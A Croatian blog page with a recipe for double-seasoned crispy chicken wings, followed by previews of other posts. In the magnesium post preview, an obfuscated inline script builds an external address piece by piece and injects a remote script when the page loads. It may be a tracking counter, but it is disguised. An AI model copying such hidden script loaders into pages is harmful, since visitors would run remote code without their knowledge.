DVOSTRUKO ZAČINJENA HRSKAVA PILEĆA KRILCA 🐔




Dvostruko začinjena hrskava pileća krilca 




Savršeno hrskava pileća krilca s češnjakom i parmezanom lako možete pripremiti kod kuće. Njihova je tajna u tome što se oblažu začinima u dva navrata - prvo se oblažu mješavinom začina i praška za pecivo, a zatim premazuju aromatičnim umakom od maslaca, češnjaka i parmezana. Rezultat je - neodoljivo hrskava korica.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Dvostruko začinjena hrskava pileća krilca 


Sastojci:

  • 15 g praška za pecivo
  • ½ čajne žličice češnjaka u prahu
  • ½ čajne žličice soli
  • ¼ čajne žličice svježe mljevenog papra
  • 1,1–1,2 kg pilećih krilaca (oko 12 cijelih krilaca)
  • 115 g maslaca, otopljenog
  • 50 g sitno ribanog parmezana
  • 15 g svježeg peršina, sitno nasjeckanog
  • 3 režnja češnjaka, sitno nasjeckana
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

  1. Zagrijte pećnicu na 220 stupnjeva. Dva veća lima (otprilike 38 × 25 cm) obložite aluminijskom folijom i lagano namastite.
  2. U velikoj zdjeli pomiješajte prašak za pecivo, češnjak u prahu, sol i papar.
  3. Oštrim nožem razdvojite svako krilce na dva dijela, a vrhove uklonite. Ako koristite već razdvojena krilca, preskočite ovaj korak.
  4. Komade krilaca ubacite u zdjelu sa začinima i dobro promiješajte kako bi se ravnomjerno obložila. Otresite višak začina i rasporedite ih na limove u jednom sloju, ostavljajući razmak između njih.
  5. Ostavite da odstoje 5 minuta prije pečenja.
  6. Pecite 35–40 minuta. Okrenite krilca jednom tijekom pečenja. Ako pečete na dvije razine, na pola vremena zamijenite mjesta limovima.
  7. Krilca su gotova kada su lijepo zapečena, a sok koji izlazi iz mesa je bistar.
  8. Dok se krilca peku, u manjoj zdjeli pomiješajte otopljeni maslac, ribani parmezan, nasjeckani peršin i svježi češnjak.
  9. Pečena krilca prebacite u veću zdjelu i prelijte pripremljenim umakom. Lagano promiješajte kako bi se sva krilca ravnomjerno obložila.
  10. Pojačajte temperaturu pećnice na maksimalnu i zapecite krilca 2-3 minute. Možete koristiti i grill opciju, ali pazite da vam ne zagore.
  11. Poslužite odmah.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više